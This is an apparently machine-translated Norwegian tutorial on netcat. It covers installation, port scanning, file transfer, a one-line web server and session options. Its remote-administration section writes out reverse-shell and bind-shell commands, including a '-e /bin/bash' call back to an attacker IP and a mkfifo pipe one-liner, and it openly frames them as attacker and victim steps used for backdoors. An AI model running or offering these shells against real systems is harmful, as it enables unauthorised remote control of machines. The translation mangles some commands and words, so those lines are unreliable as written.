En kort forskjell mellom netcat-tradisjonell og netcat-openbsd
Det er to lignende pakker tilgjengelig for netcat med en liten forskjell mellom dem.
netcat-tradisjonell inkluderer et ekstra '-e' alternativ som kan brukes til å binde et program (i.e bash) med netcat. Denne funksjonen er veldig nyttig for fjernadministrasjonsformål.
netcat-openbsd har litt ekstra støtte for IPv6 og proxyer.
Netcat-installasjon
Selv om netcat kommer forhåndsinstallert i de fleste Linux-distribusjoner, men hvis ikke, kan det enkelt installeres ved hjelp av følgende kommandoer.
For tradisjonell pakke,
[e-postbeskyttet]: ~ $ sudo apt-get install netcat-traditionalFor openbsd versjon,
[e-postbeskyttet]: ~ $ sudo apt-get install netcat-openbsdNetcat for Windows kan lastes ned herfra https: // sourceforge.nett / prosjekter / nc110 / filer /.
Nå skal vi utforske noen interessante brukstilfeller av netcat
Port skanning ved hjelp av netcat
For å søke etter åpne porter, bruk '-z' alternativet. Netcat vil prøve å koble til hver port uten å sende data eller svært begrensede data i UDP-tilfelle. Skriv inn følgende
[e-postbeskyttet]: ~ $ nc -z -v hackme.org 80... snip ..
hackme.org [217.78.1.155] 80 (http) åpen
For å skanne etter en rekke porter, skriv inn
[e-postbeskyttet]: ~ $ nc -z -nv 192.168.100.72 20-80(Ukjent) [192.168.100.72] 80 (http) åpen
(Ukjent) [192.168.100.72] 22 (ssh) åpen
Filoverføring med netcat
Et annet nyttig brukstilfelle for netcat er filoverføring mellom eksterne datamaskiner. Du kan sende tekster og binære filer fra en PC til en annen PC. Vi prøver å sende en filfil.pdf ”fra Linux PC til Windows PC [IP 192.168.100.72] bruker netcat som et eksempel.
Skriv inn følgende på Windows-maskin (mottaker)
C: \ Brukere> nc -nvlp 1337> fil.pdfLytter på [0.0.0.0] (familie 2, port 1337)
Skriv inn følgende på Linux-maskin (avsender)
[e-postbeskyttet]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfTilkobling til 192.168.100.72 1337 port [tcp / *] lyktes!
Fjernadministrasjon med netcat
En av de beste tilfellene av netcat er fjernadministrasjon, det betyr at du kan kontrollere andres PC ved hjelp av netcat. Netcat-tradisjonell kommer med alternativet '-e' som kan brukes til å binde et program (i.e cmd.exe i Windows eller bash i Linux) med en port, det betyr at netcat vil fungere som kommunikator mellom programmet og den eksterne PCen. Netcat vil motta kommandoer fra ekstern PC, utføre på lokalt system og vil sende resultatene tilbake til den eksterne PCen. Denne funksjonen brukes mye til ondsinnede formål, for å holde bakdører på PCer og servere. Denne funksjonen er bare tilgjengelig i netcat-tradisjonell, men med et lite triks kan netcat-openbsd også brukes til samme formål. Du kan bruke to måter å kontrollere andres PC på.
I en Omvendt skall tilkobling, lytter en angriper på en port og venter på at en forbindelse skal sendes fra offermaskinen. Den brukes når offerdatamaskinen er bak NAT eller ikke har offentlig IP.
For å få et omvendt skall ved hjelp av netcat, må du lytte på en port ved hjelp av netcat. Skriv inn følgende på angripermaskinen,
[e-postbeskyttet]: ~ $ nc -nvlp 1337Lytter på [0.0.0.0] (familie 2, port 1337)
På offerets maskin (hvis netcat-tradisjonell er installert)
// erstatt “/ bin / bash” med “cmd.exe ”i tilfelle Windows
[e-postbeskyttet]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashTil netcat-openbsd (der alternativet "-e" ikke støttes)
[e-postbeskyttet]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Mens du er i en Bind skall tilkobling, angriper binder en port på offermaskinen og kobles til den porten ved hjelp av klientkontakten. Den brukes når angriperens maskin står bak NAT eller ikke har en offentlig IP.
På offermaskinen skriver du inn
[e-postbeskyttet]: ~ $ nc -nlvp 1337 -e / bin / bashlytter på [hvilken som helst] 1337 ..
Nå, for å kjøre kommandoer på offermaskinen, skriv
[e-postbeskyttet]: ~ $ nc -nv 127.0.0.1 1337Tilkobling til 127.0.0.1 1337 port [tcp / *] lyktes!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupper = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Enkel webserver ved hjelp av netcat
Du kan også gjøre et annet enkelt triks for å bruke netcat som minimal enkeltsideserver. Denne webserveren vil være veldig enkel uten spesielle konfigurasjoner, og vi bruker den til å sende HTML-koden vår til nettleseren.
[e-postbeskyttet]: ~ $ while true; gjør ekko -e "HTTP / 1.1 200 OK \ n \ n $ (ekko "
Min enkle webserver ved hjelp av netcat
")" | nc -nvlp 1337; ferdigLytter på [0.0.0.0] (familie 2, port 1337)
Prøv nå å hente websiden ved hjelp av krøll
[e-postbeskyttet]: ~ $ curl http: // 127.0.0.1: 1337 /Min enkle webserver ved hjelp av netcat
Angi tidsavbrudd for en netcat-økt
Du kan spesifisere tidsavbrudd for en netcat-økt ved hjelp av “-w” -alternativet. Netcat vil automatisk koble fra økten etter at den angitte tiden går ut.
// -w [Tid i sekunder][e-postbeskyttet]: ~ $ nc -w 40 -nvlp 1337
Lytter på [0.0.0.0] (familie 2, port 1234)
Fortsett å lytte selv om klienten lukker tilkoblingen
I normal modus slås netcat-serveren av og slutter å lytte på porten når en klient lukker forbindelsen. Du kan holde serveren oppe ved å bruke “-k” -alternativet
[e-postbeskyttet]: ~ $ nc -k -nlvp 1234Lytter på [0.0.0.0] (familie 2, port 1234)
Konklusjon
Netcat er enkelt, men effektivt verktøy som kan brukes til mange enkle daglige oppgaver. Den kommer forhåndsinstallert i nesten alle UNIX-operativsystemer og kan brukes til forskjellige oppgaver som kommunikasjon mellom to PC-er, filoverføring og mange flere.